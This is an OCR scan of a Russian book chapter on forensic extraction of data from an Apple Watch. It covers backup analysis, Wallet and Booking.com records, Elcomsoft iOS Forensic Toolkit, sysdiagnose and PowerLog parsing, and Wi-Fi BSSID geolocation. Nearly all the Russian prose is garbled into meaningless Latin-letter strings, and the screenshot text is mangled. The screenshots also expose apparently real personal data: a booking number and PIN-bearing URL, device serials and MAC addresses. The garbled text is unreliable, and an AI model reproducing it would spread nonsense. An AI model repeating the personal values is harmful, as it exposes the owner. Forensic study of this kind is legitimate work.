Backward Import

+ iy NenoPreferencesSync

< PairedSync

15 com.apple.NancPhotos

{2y com.apple private.nanoresourcegrabber

{2 com.applesharing

i3 com.apletced

17 DeviceRegistry.state ol

< BHeS >
Welcome to iBackupBot for iPad iPhone Totak: 1 Selected: 0 Sefected Sce:

Puc. 15.5. MNManka, B koTOpO# xpaHutca pesepsHas konus Apple Watch

B nanke NanoAppRegistry conepxxutcs uHpopMmauus o0 yCTaHOBIEHHBIX Ha yacax
npunoxenusx. Ha puc. 15.6 moxkHO yBuzaets uHdopmaumio o npunoxenun Facebook,
BKIo4as naHHbie Bundle Version, Display Name, Bundle Identifier 1 Bundle Name.
K coxaneHuto, 1aHHBIX MPUIOKEHHUS B PE3EPBHON KOMUM YacoOB HET, TOJIBKO MH(OpMa-
LM O MPHI0KEHHH.

B 6a3e nanueix NanoMail\Registry.sqlite xpanutcs MHGOpPMaLMA O MOYTOBBIX YYETHBIX
3aMMCAX, KOTOPbIE CHHXPOHU3HPYIOTCS C HacaMHu.

B vactHocTH, B Tabnuue SYNCED _ACCOUNT moxHo Haiith 3anucu Display Name
v Email Address n1s kaxaoro nodtroBOro akkayHTa, KOTOpPbIH CHHXPOHHU3UpYETCS
¢ ycrpoictBoM. Hu naponsi, HU Mapkepa ayTeHTH(HKALMK OT MOYTOBBIX AKKAyHTOB
B pe3epBHOM konuu HeT (puc. 15.7).

B Tabnuue MAILBOX MOXHO MpPOCMOTPETb, KaK OpPraHM30BaHa [OYTa, IpPOJMCTATh
Marnky v MOJAMNAanky Ui K01 yueTHoH 3anucu («Bxoaswmer, «Mcxoasmue», «HepHo-
BUKHW», KApPXHUB» U T. 1. — puc. 15.8).

B 6a3e NanoPasses\nanopasses.sqlite3 conepxutcsi CMcOK 3amuceil W3 MPHIOKEHUS
Wallet. [Mporpamma Wallet — yHuBepcanbHOe XpaHWIMILE KPEAWTHBIX, NeOETOBBIX M
NpeIoIUIa4YeHHBIX KapT, a Takke KapT Mara3suHOB, MOCAJOYHbIX TaJOHOB, OMJIETOB
B KMHO, KYNOHOB, OOHYCHBIX KapT, CTyJIeHYeCKHX yJI0CTOBepeHHii u T. a. 3anucu Wallet
CHHXPOHHM3MPYIOTCS ¢ YacaMH. B 4acTHOCTH, Yackl MOXKHO MCIOJIB30BaTh A1 OTOOpaXke-
Hus QR-koa mocajouHbIX TaJIOHOB A7 MX yJ0OHOrO CKaHMpOBaHMA NPH MOCaJKe Ha
peric. [lna kaxaod 3anmcu goctynHbl AaHHbie Type ID, Ha3zBaHue opraHu3auuu
Organization Name, nata Ingest Date (B ¢popmate Apple Cocoa Core Data) u onucanue
Description (puc. 15.9).



O——— 170 ——0

SeNIXE O KR

: - - | = i% -
W:;;ZJ:;? ::::»{ Backeswd  foresd | Open Defele | Sxport  lmpant
L Atwalia oatcnkitapp Name Date Modified Date Created
L b runtastic.gprepodapp. watchapn # W i i o R R v
o appleActivityMangorApE: &
i wom appied
G wom spple DeepBresthing | 1y y/ QABEEVCHY  4378-BTES- T1SBDTFICT TN, _ clegra Tehegraph watchiitap.. X
m.pple LiagnosticsSenice i i
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Weicome to BackupBot for Dad Phane

Puc. 15.7. [laHHble 0 NOYTOBbLIX aKkkayHTax B pe3epsHou konuu Apple Watch
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o GulietnDistributor
i Lorekocation
G beeetKnSyne
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Puc. 15.8. MpocmoTp CTpyKTYypbl Nanok 3neKTPOHHOro NOYTOBOrO ALLMKA

Qe+ NIoE3iq3- 17eDWmaYSyHPIzU= pass.com booking seservation Bookingicom

" 563050511 Situato nel quartiese Jordaen di Amsterdam, # modemo Bank Hotel i trova
nelfantico edificio di una ex banca sulla iz Haarlemmerstiaat, ¢ offre

sheganti camere con etV
satelitare 2 pietto.
Dotate 6i ll cit, ttefe5 g Hotef sono

9 ionata, scrivania e bagne in stie

cmmnpm;w:ondo«u.(mmdd)mpwmwm

it Bank Hotel 5i trove & menc di 10 minuti a piedi dalta Stezione ferroviana

centrale di

ramming da Fiazza Dam, che ospits il Palazzo Reale.
558600775 Go. Get. Rewarded,

Best Western Rewerds &

Wi-Fi gratuita nelle

& dalla Casa di Anna Frank. €215 minuti di

i MancdppRegistry
i ManoMait : -
14y ManoPasses Size Permussion Dste Modified Date Created

i PaymenCards T rwereares T218 250242 A8 230242

# & NanoPreferencesSync TSR rwereeren 12/15/1822:23:%6 1118 2236
: g :m"""m“f“m“ B Gmerwex 01518085120 wasoas

7 comapple private.nanaresourcegraber TIMB cowere: T2 B/ 51:20

iy com.apple shanng

fype.id ingested date localised desciption. s
ik fare i define s fil

Puc. 15.9. MpocmoTp AaHHbix npunoxexuna Wallet
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Puc. 15.10. [pocmMoTp n3BNEeYeHHON U3 pe3epBHOIA Konum
nHpopmauumn o Bpoxm rocTuHULbI B Booking.com

B Hekotopeix 3anucax poctynHo nose Encoded Pass, B koTopoM conepxurcst ABOWUY-
Hbld daiin plist ¢ jpononHuTesNIbHOW MH(pOpMauWel (HarnpuMmep, OMUCAHHBIA BbILIE
QR-kox nocagouHoro TajoHa). Takue Qaiijibl MOKHO M3Bj€Ub M3 0asbl JAHHBIX WU OT-
KpbITh MPH MOMOLLM nporpammbl uis pabotsl ¢ plist (hanpumep, plist Editor, https:/
www.icopybot.com/plist-editor.htm).

Ha puc. 15.10 MoxxHO yBHMaeTh 3anuch OpoHM rocTuHuuUbl dyepe3 Booking.com. Ilone
Encoded Pass moxxHO oTkpbITh B SQLiteExpert u coxpanuTh B Buje (aiina.

Janee daiin otkpsiaem B plist Editor n u3Bnekaem nudopmainio o OpoHH, BKIOUAs UM
rocTsl, Ha3BaHUE U a/Ipec rOCTHHMLIBI, 1aThl 3a€3/1a U BbIE€3/1a, CTOUMOCTb U HOMep OpoHH
(puc. 15.11).

B nanke NanoPreferencesSync xpaHsatcs pasnnunble daiiiibl, OTBEUaOLIMe 38 HACTPOM-
ku Apple Watch. HaunGonbummii unrepec 3aeck npeacrasiaser nanka \Backup\Files\,
B KOTOpO# coaepkutcs MHpopmauus o uudepbiaTax U MX HacTpoikax, BKIIOUYas M30-
Opaxxenus. Bce 3t aitnbl npeactaasior coboii oObluHbie apxuBbl B (hopmare ZIP
(puc. 15.12).

B kaxxaom APXHBE JIC)KaT:

O Face.json — aiin ¢ netanbHbIMU HacTpoiikamu uudepbnaTa, BKIIOYAs 1aTy €ro cos-
naHus (kak oobiuHo, B hopmare Apple Cocoa Core Data);

0O nanka Resources ¢ uzoOpaxkenuem umdepbnara B dopmare JPEG, a Tarke ¢aiin
Images.plist, B KOTOpoM XpaHsTCSI METaJaHHBIE.



XML View List View

Type Value
string [The Bank Hotel
dict
dict
dict
string hotelAddress
string ADDRESS
string I Haarlemmerstraat 120, Amsterdam
dict
dict
integer
string
string
string
string
dict
string
string
string
integer
string New price is %@
string EUR
dict
o s i R —
string The Bank Hotel
dict
string reservationDetails
string i
string Booking Number: 1198.273.413
®- dict
string
k string Check-in
? string 2018-11-08 14:00
i dict
string F—
string Check-out
string 2018-11-09 11:00
» string “Nerrehereootdte is %0
e dict
% string myReservationUrl
string View or change your booking:
string https://secure.booking.com/myreservations htmi?bn=1198273413;pincode=9181;:

Puc. 15.11. MpocmoTp ussneveHHoi nHcpopmauum B plist Editor
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Puc. 15.12. VHchopmauus o uncpepbnartax u ux HacTpoikax c n3obpaxkeHnsMu
XpaHuUTCA B 06bI4HbIX ZIP-apxuBax

NMpomMeXyTo4YHble UTOru

[MpoaHanu3upoBaB pe3epBHYIO KOMHUIO 4YacoB M3 iPhone, Mbl MONyYWwsId A0OCTaTOYHO
CKPOMHBIH pe3ynbTaT. HacTpoiiku cucTeMbl U npuioykeHuH, Tanonsl u3 Wallet, HacTpoii-
KM MOYTOBBIX Y4YETHbIX 3amuceid, udpepOnarel. Hukakux 0roB, HUKakuxX uudp ¢ noka-
3aHUSAMH JaTYUKOB, YBEIOMIIEHUH WM UCTOPUH MECTOMOJIOKEHHS MOJIb30BATeNs; HUKA-
KHX JaHHBIX W3 MECOYHMI] CTOPOHHHX MpuioxeHui. CTporo roBops, Mbl BOOOLIE He
y3HIM HMYero MHTEPeCHOro CBepX TOro, YTO MOrIM Obl Y3HaTh, MPOaHAIW3UPOBaAB
pe3epBHYIO KOIMHIO COMpPshKEHHOro ¢ yacamu iPhone, U3 KoTOpo# Mbl, COOCTBEHHO, U U3-
BJIEKJTH PE3ePBHYIO KOITHIO YacOoB.
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U3BneyeHue gaHHbIX n3 Apple Watch
yepes apanrtep

bonee cnoxueiii cnoco® u3Bneub uHpopmammio w3 Apple Watch — noakmoduts MX
K KOMITbIOTEPY CHELMATU3UPOBAHHBIM MEPEXOTHUKOM, MPABUIIbHOE MOJCOEAMHEHHE KO-
TOPOro K 4acaMm IOUCTHHE toBesMpHas paborta. B mobom ciayuae o6s3aTenbHO BbINOI-
HHTb JIBa TpeOOBaHUS:

1. Kakum-To 0Opazom moaxmo4uTh yackl k kommetotepy. U ecnm ans Apple Watch S1,
S2 u S3 ectb roroeie amantepbi IBUS, To a1s 4acoB nocneaHel cepuM HyKHOrO
ajzanTtepa Mbl He HalLIH.

2. Korza yackl noacoeAMHATCS K KOMIBIOTEPY, NoTpedyercs co3aaTh AOBEPEHHOE CO-
€IMHEHHe — TO4YHO Tak e, kak u ¢ iPhone. M TouHO Tak ke, Kak M B ciydae
¢ iPhone, mns 3toro HyxHO OyzaeT pa36I0KHpPOBaTh Yackl KOAOM GiokHpoBKH. Ecin
3TOrO HE CJe/1aTh, TO CBS3aTh Yachl C KOMITBIOTEPOM HE MOIYHHUTCS.

M naxe nocie Bcero nepeyrcieHHoro tebe He yaactes u3Biedb obpa3 daitnosoit cucre-
mbl! Bee, uto Tebe Oyaer 10CTyNHO, — 3TO HECKOJIBKO CEPBHUCOB, YEPE3 KOTOPbIE MOXKHO
nonpoboBaTk U3BJIEYb YACTh TUIOB AaHHbIX. C yUE€TOM BCEro 3TOr0 HeyAMBUTEIBHO, YTO
U3BJIEUEHHEM JIaHHBIX U3 YacoB Apple Watch Mano kTo 3aHuMaercs.

Yro ke Bo0OIIE MOKHO BBIYIUTH U3 HACOB MPH NMPSIMOM MOAKIOUeHUU? JIocTynHBbI Bee-
ro TPU THIIA JAaHHBIX:

1. Undopmaums o6 ycTpoiCTBE U CIHCOK YCTAaHOBICHHBIX MPUIOKEHHH.

2. ®aiinsl yepes nporokos AFC (Apple File Conduit).

3. Jlor-daitsibl.

MogknioyeHue K KOMNbLIOTEPY

Ham ypanocs HaiiTu mepexoaHMKH Ui MEPBBIX TpeX MOKONeHWH uaco; i Apple
Watch 4 rakoro agantepa Hert. JluarHoctudeckuii nopt B yacax Apple Watch Haxonures
MOJ1 KperUieHHeM /1 pemellka; notpedyercs TOHKast Mrja Wik CKpernka Uit Toro, 4tooel
OTKpBITh KpbiliKy. Mcnonb3yemblit Hamu agantep HocuT Haszeanue IBUS: IBUS for
Apple Watch S1 u IBUS for Apple Watch S2 and S3 (puc. 15.13).

Puc. 15.13. AganTeps! iBUS ansa noakntoueHus yacos Apple Watch k komnetotepy
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Tak e kak 1 15 iPhone, npuoskenue iTunes 3anpocut paspellieHre Ha co3/laHue 10Be-
peHHOro coearHeHus ¢ komrnbiotepoM. [locne yenewnoro nogitouenus iTunes orodpa-
3uT “Hbopmaumio o yacax (tosbko Bepcus OC u yHUKaIbHBIA MIAEHTU(PUKATOP HaCOB,
puc. 15.14).

® & 44 b v e = ol
o)
Apple Watch
UDID: 7370061411355 Software Version 5.2
cds 4 i el esrabsiar

W

14l 56

Eject Appie Watch. Restare Apple Watch

Puc. 15.14. OtobpaxeHue nHdopmauum o 4acax B nporpamme iTunes

Tenepr 3amyckaem Elcomsoft iOS Forensic Toolkit. Cniucok npunoxkeHui, ycTaHOB-
JIEHHBIX HAa YacaxX, M3BJEKaeTcs KOMaHAOW T (Device Info) W coXpaHsercs B (aitn
(puc. 15.15).

Ha aucke (0ObI4HO B TOM ke KaTajiore, Kyaa ycranoslieH iOS Forensic Toolkit) co3naer-
cs TpM (aiina:

O Ideviceinfo.plist;

O Applications.txt;

O Applications.plist.

B caiine ideviceinfo.plist conepxkurcs Bes noctynnas uHpopmaums mo Apple Watch,
BKJItOYas TOuHbIA uaeHTudukarop moaenu (Hardware Model), Bepcuto onepanmonHom
cuctembl WatchOS, cepuiinbiii Homep vacoB (Serial Number), UDID, Ha3panue ycTpoii-
ctBa (Device Name), MAC-anpeca ananrepos Wi-Fi u Bluetooth, yacoBoii nosic u Bpems
Ha MOMEHT M3BJIeueHHs JaHHbIX (puc. 15.16).

Taroke B daiine ects uHGoOpMaLMs 0 CBOOOIHOM M 00LEM 0ObeMe HAKONUTENs U pa3me-
pe cuctemHoro pasaena (atpuOytei Total Disk Capacity, Total System Capacity, Total
Data Capacity, Total Data Available). Hakoneu, atpubyrsi Language u Locale co-
nepxat MHGopmalmio 0 BEIOPaHHOM s3blKe U PErMOHAIbHBIX HACTPOMKAX.

CrMCcOK YCTaHOBIIEHHBIX Ha YacaxX MpHJIOkKEeHUH coxpansercs: B ¢aiin Applications.txt
(puc. 15.17). Crona nomagator Takue JaHHbie, kak Bundle Identifier (yHukanbHbiii
uaeHtudukarop npunoxenus), Bundle Version n Bundle Display Name (na3Banue
MIPUIOXKEHUS B TOM BUJIE, KAK OHO OTOOpakaeTcs Ha yacax).
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#® @ -~ ElcomSoft — Toolkit.command — tee « Toolkit.command — 76x34

Welcome to Elcomsoft i0S Forensic Toolkit
This 1s driver script version 5.8/Mac for 64bit devices

{c) 2011-2019 Elcomsoft Co. Ltd.

Device connected: Apple Watch

Hardware model: N121bAP

Serial number: GJ9X61BKISX6

i0S version: 5.2

Device ID: 7a7006f4f1355ac33d5b7fe7ddd5352¢cBeSelcds

Please select an action

Logical acquisition

DEVICE INFO - Get basic device information
RECOVERY INFO -~ Get information on device in DFU/Recovery mode
BACKUP - Create iTunes-style backup of the device

i

MEDIA Copy media files from the device
SHARED ~ Copy shared files of the installed applications

TR WT

LOGS ~ Copy crash logs
Physical acquisition
D DISABLE LOCK - Disable screen lock {until reboot)
K KEYCHAIN - Decrypt device keychain
F  FILE SYSTEM - Atquire device file system {as TAR archive)
X EXIT
L 1] ‘

® @ 7 ElcomSoft — Toolkit.command — tee « Toolkit.command — 76x21

welcome to Elcomsoft i0S Forensic Toolkit
This 1s driver script version 5.8/Mac for 64bit devices

{c) 2011-2019 Elcomsoft Co. Ltd.

|
|
|
|
|
|

Device connected: Apple Watch

Hardware model: N121bAP

Serial number: GJIX61BKI5X6

10S version: 5.2

Device ID: 7a7006f4f1355ac¢33d5b7fe7ddd5352¢c8e5elcds

Device paired

Write device info to file <ideviceinfo.plist>:

Write inslalled applications list to file <applications.txt>:

write full inslalled applications info to file <applications.plist>: §

Puc. 15.15. NHcbopmaums 06 ycTaHOBNEHHbIX NpunoxeHuax ¢ nomolubto Elcomsoft iOS Forensic Toolkit
coxpaHseTcs B hann



T
XML View List View
Key Type Value
array
dict
- ActivationState string Activated
- BasebandStatus string NeTelephonyCapabilty
~BluetoothAddress string b&:41:ad:12:e6:b7
Boardld integer 26
BrickState boclean false
- BuildVersion string 167225
- CPUArchitecture string armv7k
~ ChipiD integer 32772
DeviceClass string Watch
DeviceCalor string 1
- DeviceName string Apple Watch di Mattia
- DielD integer 1791933580181542
- EthermetAddress string b&41:a4:1%:16:11
~FirmwareVersion string iBoot-4513.250.287
HardwareModel string N121bAP
HardwarePlatform string 18004
HostAttached boolean true
MLBSerialNumber string GJPR2G208PSIDY34S
MedelNumber string MGL12
#-NenVolatileRAM dict
PartitionType string GUID_partition_scheme
-PasswardProtected boolean false
PreductName string Watch CS
ProductType string Watch3 4
Product¥/ersion steing 52
- ProductionSOC boolean true
~ProtocolVersion string 2
Regioninfo string OL/A
SerialMlumber string GJSX86F2I5X4
SoftwareBehavior data
- SoftwareBundleVersion  string
- SupportedDeviceFamilies  array
~TelephenyCapability boolean false
TimelntervalSince1970 real 1361201076.340697
- -TimeZone string Eurcpe/Rome
- TimeZoneOffsetFromUTC real 7200.000000
- TrustedHostAttached beoiean true
- UniqueChiplD integer 1791533580181542
~UnigqueDevicelD string 2a%fbeal643728ce72f820abd21cf5e854242341
‘UntrustedHostBUID string 3804C530-8829-4DFD-8DCA-04FE25967CBS
UseRaptorCerts beolean true
Uses24HourClock booclean true
WiFiAddress string b&:41:24:14:37:df
Domain string General Domain

Puc. 15.16. ndopmauus o6 ycrpoictse Apple Watch

JleranbHas uH(pOpMaLMs O Ka)KIOM YCTAaHOBJICHHOM TPHJIOKEHUH NOCTYMHa B (aiine
Applications.plist (Tbl TOMHHIIb, KAKOW YTHIUTOH €ro MPOCMOTPETH). 31€Ch COAECPIKUT-
cs1 uHpOpMALIKA O TOUYHOM MyTH B (aiiIoBOH cHCTeMe, 10 KOTOPOMY YCTAHOBIEHO MpH-
Jo)keHre U nyTH k ero necoynuie (Application Path v Container cooTBeTCTBEHHO).
OOparu BHMMaHHWe: jJocTyna K (ailloBoi cucTeMe YacoB y HAc HET, TaK YTO JOCTYIa
K JaHHBIM M3 MECOYHHULBI Mbl He noayuuM. Kak BRI AT MHGOPMaLMs O MPUIOKEHHUH
Uber, MO)KHO rocmMoTpeTh Ha pHc. 15.18.

CxonupoBath (paiiiibl CHCTEMHBIX XKYPHAIOB MOKHO KOMaH/I0M I (Logs).
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[ MARICERCHE\APPLE_WATCH\IOS_BACKUP_ARTICLE_ELCOMSOFT\Archiveapplications.bit - Notepad=+
File Modifica Cerca Visuali Formato  Linguaggic Cenfigurazi S
cHER s LB BB DC Mt ]l
Emmml

1 bFBundleIdentifier, CFBundleVersion, CFBundleDisplayName

i Macro Esegui Plugin Finestra 7

T ETBRus @EG @ E.ﬁ

2 com.melodis.soundhound. free.watchapp, "1", "SoundHound"

3 com.lufthansa.launcher.yatchkitapp, "15084", "Lufthansa"

4 at.runtastic.gpsspertapp-watchapp, "9.5.0.2873", "Runtastic"
5 com.apple.NanoRadio, "118.1", "Radio"

& com.apple.NanoMusic, "880.28", "Musica"

7 com.apple.NanoMail, "1.0", "Mail"

2 com.ubercab.UberClient.watchkitapp, "3.356.10001", "Ubher"

9 com.apple.nanonews, "406", "News"

10 com.yiber.watchkitapp, "10.9.1.48", "Viber"

11 com.apple.NanoCalendar, "1.0", "CalendariqQ"

12 com.apple.NanoMaps, "1.0", "Mappe"

13 com.sibersystems.RoboForm.wyatchkitapp, "874.9", "RoboForm"
14 com.facebook.Messenger.yatchkitapp, "159746022", "Messenger”
15 com.ns.reisplannerxtra.watchkitapp, "7.0.15.11", “Ns"

16 com.spotify.client.watchkitapp, "850700601™, "Spotify"

Puc. 15.17. Copepxumoe chaitna Applications.txt

File Edt  View H

D8H X% 5 @

XML View  List View
[key Type Value
< &i-Root armay

WKWatchKitApp true
CFBundleSignature string m
~ DTSDKName string watchos3.]
1 o DTPlatformBuild string 18R381
| |~ CFBundielcons dict
i ApplicationDSID integer 1321751630
Path string B i &/ Appli JBESCA128-9F3C -437C-BAB2-846485B1DACH/ Uber WatchKit App.app
CFBundlebxecutable string Uber WatchKit App
LSRequirestPhone0S boolean true
Signeridentity string Appie Phane OS Application Signing
+ & EnvironmentVariables dict
.+ = ~CFBundieShortVersionString string 3.356.10001
- - CFBundlePackageType string APPL
DTSDKBuild string 16R591
-DTXcodeBuild string 10861
WKCompanionAppBundleldentifier string com.ubercab.UberClient
SequenceNumber integer 832
CFBundleDisplayName string Uber
+ “Container string fpr ile/ iners/Data/Application/73DC0548- C250-434B-90CC-4AAIATRAC218
++ CFBundleDevelcpmentRegion string en
IsUpgradeable boolean true
ParalleiPlaceholderPath boolean true
DTPiatformName string watchos
ApplicationType string User
CFBundleName string Uber
CFBundleVersion string 3.356.10001
CFBundieNumericVersion integer 2
+ - - DTPlatformVersion string 5.1
#-CFBundleSupportedPlatforms array
DTXcode string 1010
MinimumOSVersion string 10
& UlSupportedinterfaceOrientations aray
- = “CFBundieidentifier sting com.ubercab.UberClient.watchkitapp
UlappFonts array
- @ UlDeviceFamily amay
CFBundielnfoDictionaryVersion string 80
IsDemotedApp boolean false

Puc. 15.18. N3neyeHHas u3 ycTpoicTBa uHcopmauus o npunoxexun Uber
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AHanus nor-cgannos 4YacoB

Wrak, mbl u3Biekn Jjor-haiinsl u3 yacos. bonee noapodbHo nouutars o jor-gainax iOS
MoxHO B ctathe Using Apple «Bug Reporting» for forensic purposes Marrua Dnudanu
(Mattia Epifani), Xu3zep Maxanuk (Heather Mahalik) u Anpuana Jleonra (Adrian Leong,
Cheeky4n6émonkey), KOTOpyo MOXHO HaWTH mno azapecy https://www.for58S.com/
sysdiagnose. B cTatbe pacckasbiBaeTcs O TOM, Kak MCMOJb30BaTh npodunu sysdiagnose
JUIS M3BJIEYEHHUS TaHHBIX M3 pa3auuHbIX ycTpoicTB Apple. [lonpoGyem ucnonb3oBath
TOT K€ TOAXO € YacaMH.

Ckpuntsl st aHanu3a AaHHbIX sysdiagnose moxkHo ckadaTh ¢ GitHub mo agpecy
https://github.com/cheeky4n6monkey/iOS_sysdiagnose_forensic_scripts. HauGonb-
NI HHTEPEC NMPE/ICTABIAIOT CIIeAYIOLUE CUCTEMHBIE JKypPHAIIbI:

a

a

H

MobileActivation conepxut uHpopmauuto o Bepcusx OC u BpeMeHH UX yCTaHOBKH,
MOJIeJIA YCTPOICTBA U THNA MPOJAYKTA. 31eCh TakkKe XpPaHUTCS JeTanbHas WH(opMa-
1ust 06 o6HoBmeHusAx WatchOS;:

MobileContainerManager rpe/icTaBisieT MHHTEPEC TeM, YTO COAEPKUT UHPOPMALIHIO
00 ymanenun npuiokeHud ¢ 4vaco. [IpoaHanu3upoBaB KypHall, MOXHO TOHSTb,
Kak{e TIPUJIOKEHHs MOTJIM MCTIONIb30BaThCs HA YacaX B MHTEPECYIOIIUH Mepuos Bpe-
MEHH;

Mobilelnstallation ananoruden npeasiayiiemMy, Ho HHbopmaLMs 371ech He 00 yaasie-
HUH, a 00 YCTaHOBKE MPUJIOKEHHUI HA Yachl.

a puc. 15.19 nokaszana paborta ckpunra ¢ xypHajiom Mobile Activation u napcunr

)ypHaia MobileContainerManager.

E sysdiagnose - -bash — 153228
18 Apr 2819 12:46:35 Mobile Activation Startup [line 178)]

18 Apr 281 ¥obile ation Build Version = 165535
18 Apr 2619 1 Mobile on Hardware Medel 21bAP
18 Apr Mobile Ac tion Product Type = tch3, 4
18 Apr Mobile Activation Device Class = Watch

19 Apr 201 Mobile Activation Startup [line 1861

19 Apr 3 on Build Version = 167225
19 Apr tion Mardware Model = N121bAP
19 Apr Mohile Activation Product Type = Watch3,4

19 Apr 2019 11:17: 1 tivation Device Class = Watch

19 Apr 2819 11:17:36 Upgraded from 165535 to 167225 [line 2@8]

25 Apr
25 Apr
25 Apr 2
25 Apr 2
25 Apr

2819 13:14:3

Mobile Activation Startup [line 283]
Mobile T2

ation Build version
tivation Hardware Mode

1le Activation Product Type
36 Mobile Activation Device Class

25 Apr
25 Apr
25 Apx

¥obile Act
17:88 Mobile Act
25 Apx 281 17:28 Mobile Activation Devic "‘las = ﬁazr-h
3 May 2019 21:52:33 Mobile Activation Startup [line 233]

3 May 2019 21:52:33 Mobile Activation Build Version = 167225

3 May 2019 21:52:33 Mobile Activation Hardware Model = N121bAP

e @ i sysdiagnose — -bash — 153#13 . ]

Found 5 group removal entriss

MacBook-Air-di-Mattia:sysdiagnose mattiaepifani$ pythond sysdiagnose-mobilecontsinermanager.py i ../../../Desktop/Sysdiagnose test/sysdiagnose_2019.06. .
22_12-55-36+8206_¥; :
Running sysdisgnos

\_16T225/10gs /MobileContainerianager/ containermanagerd. log. @
inermanager.py v2019-85-85 Initial Version

2 Oct 218 14:35:63 Ramoved group.ph. telegra.Telegraph [line 44]
r bnb.shared [line 69]

: ilebits.onepasswozd [line 89]

28 Feb 2819 22 ncent.xin [line 142]

36 Apr 2819 17:12:59 Removed group.com.tencent.xin [line 186]

MacBook-Air-di-Mattia:sysdiagnose matziaepifanis %

Puc. 15.19. Pabota ckpunta sysdiagnose c xypHanom Mobile Activation
1 napcuHr xypHana MobileContainerManager
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Ho untepechee Bcero, noxkanyi, skypHain PowerLog. 31ech xpanurtcs uHdopmaums o
B3aUMO/ICHCTBMH MOab30BaTENs ¢ yacaMu. Yacel exkanu Ha 3apsake? WX B3suiu B pyku?
Hanenwn na 3ansctbe? [lonb3oBarens akrtuBupoBan skpaH? MMeHHO 3TOT kypHan B nep-
BYIO Ouepellb CTaparoTcs MpoaHaJIW3MpOBaTh IKCMEPTbl MPU PaccieOBAHUM aBTOMO-
OunbHbIX aBapuil. Ecin BoauTenb OTBIEKCS Ha 4ackl (WM BKJIIOYMI 9KpaH TenedoHa,
B HEM TOK€ €CTb aHAJIOIMYHBIN JIOT) B MOMEHT aBapuu, 3T0 OyJaeT CBMIETEIbCTBOBATH
npotus Hero (B CLLIA ecth noustue Distracted Driving. J[ns undopmaumu: B pesynbraTe
distracted driving Ha amepukanckux joporax B 2017 roay norubio Gonee Tpex Thicsd
yesnoBek). M3-3a ocoboil BakHOCTH CTPYKTypa 3TOH 0a3bl JaHHbIX OTIMYHO W3yYeHa.
MosxkHo nouutath. Haripumep. ctathio Capbl Dasapac (https://www.sans.org/cyber-
security-summit/archives/file/summit-archive-1492180788.pdf) wiu Bocnonas3oBaTbes
rotoBbiM HMHcTpymeHTapuem APOLLO (https://github.com/mac4n6/APOLLO). Kak
BBIMISAAMT s)KypHas PowerLog, moxHo yBuaets Ha puc. 15.20.

@ APOLLO — -bash — 149x42

MacBook-A1r-di-Mattia:APOLLO mattiaepifani$ python apollo.py -o csv -p ios —v yolo modules /Users/mattiaepifani/Dropbex/Personale/Diagnose_Profiles_i
OS/APPLE_WATCH/

Parsing Modules...

Parsing: 129 modules.

Searching for database files..

modules/knowledge_audic_media_nowplaying.txt : @ databases
modules/knowledge_spp_calendar_activity.txt : 8 databases.
modules/locationd_cacheencryptedAB _appharvest.txt : @ databases.
wodules/netusage_zliverouteperf.txz : § databases.
modules/knowledge_app_install.ixt : 8 databases.
modules/routined_local_vehicle parked.txt : @ databases
modules/powerlog_springboard_aggregate notific txt : 1 databases.
Executing module on: /Users/mattiaepif pbox/Persanale/Diagnose_Profiles 10S/APPLE_WATCH/CurrentPowerlog.PLSGL
«+«ERROR==+: Could not parse database ma fani/Dropbox/Perscnale/Diagnose_Profiles 10S/APPLE_WATCH/CurrentPowerlog.PLSQL). Often

this is due to file permissions, or changes in datsbase schema. This also happens with same-named databases that contain different data (ie: cac
he_encryptedB.db).

modules/locationd cacheencryptedAB _poiharvestlocation.txt : @ databases.

k modules/powerlog device telephony_registration.txt : 1 databases
| Executing module on: /Users/mattisepifani/Dropbox/ nale/Diagnose_Profiles_10S/APPLE_WATCH/CurrentPowerlog.PLSQL

«++ERROR*#4: Could not parse database [/Users/mattiaepifani/Dropbox/Personale/Diagnose Profiles iOS/APPLE WATCH/CurrentPowerlog.PLSQL]). Often
this is due to file permissions, or changes in the database schema. This also happens with same-named databases that contain different data (ie: cac
he_encrypted.db)

modules/locationd cacheencryptedAB locationharvest.txt : @ databases.

modules/powerlog device voluse.t
Executing module on:
Number of Records

databases.
ttiaepifani/Dropbox/Personale/Diagnose_Profiles_10S/APPLE_WATCH/CurrentPowerlog.PLSGL

modules/knowledge_device is_backlit.txt : @ datsbases.

modules/powerlog button state.txt :

Puc. 15.20. U3yyerue xypHana PowerLog ¢ ncnoneaosasnem APOLLO

Haxoneu, noru Wi-Fi cozepkar cnucok ceTeif, K KOTOPbIM MOJK/IIOYAIUCH YacChl
(puc. 15.21). Tlpowe Bcero mnpocmorpeTsh coaepkumoe daitna com.apple.wifi.plist,
B KOTOPOM MHTepec npezacTapistoT 3anucu o SSID, BSSID u nare nocneaHero noakito-
YeHHUs K J1aHHOW ceTu. Ocolbli uHTepec npeactasaseT napametp BSSID, koTopbiii MOX-
HO MCII0JIb30BATh /U151 OMPE/IesIEHUs] TOYHOTO MECTOMNOJI0XKeHHUs (paauyc 15-25 meTpoB)
B MOMEHT MNOAKIIOUeHHUs K ceTH. [ onpenenenus koopamHat Touku aoctyna Wi-Fi no
ee BSSID moxHO BOCnoOnb30BaThCs OJHUM M3 cepBHCOB reverse lookup, Hanpumep
Wigle: http://www.wigle.net.
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| Chusersimattia:Desitop0S-Toolkt-5.0- Wintlegs' DiagnosticLogsisysdiagnoseisysdiagnose 2619.04.2 1 FAST_ENTERPRISE_NETwdict
file Edt View Help CARPLAY NETWORK  boolean false
o & networkKnownBSSListKearray
isH XAD v 8 e i Lo PR knownBSSUpdatedDate date 2019-04-24 203741
XML Visw  List View iastUpdated date 2019-04-24 11:31:58
Xey g Vate enabied boalean true
S deger & | GUESSED_2ghzBSSID3  string 286755850
4 RSN dict Strength real 0.838376
& 80211D_i€ dict ; CAPABILITIES integer 4113
AGE integer 2 WiFiNetworkisAutoloine boolean true
FAST_ENTERPRISE_NETv boalean true CHANNEL FLAGS integer B
lastAutoloined dste 180425 131751 W 2019-04.25 13:32:40
CHANNEL integer % CONINT Integer £
15 NETW STOMI boslean faise SCAN_RESULT_FROM _Piboclean true
. ‘“;“3” E CaptiveNetwork bostean false
BRI IS S S i SHARE MODE integer 3
4 o 95 =9
o T e B G S GUESSED_2ghaBSSiD4  sring Bk 7EsECced
' & st 357 & RATES array
S_NETWORK_CONFIGU: bootesn networklsage real 12776557658
GUESSED 2gh:BSSIDT  stiing iS_NETWORK_EXPIRABL Boclean folse
SSL data ScatedRate teat 1.000000
string BC211W_ENABLED beolean true
ETWORK CARTIVE boolesn % HT_CAPSIE dict
_ENABLED toolean ScaledRSS! ceal 0238376
ﬁ;‘éﬁaﬁ?m%m il @ GBS LOADIE dict
b 'm'_fm ASSOC_FLAGS integer 1
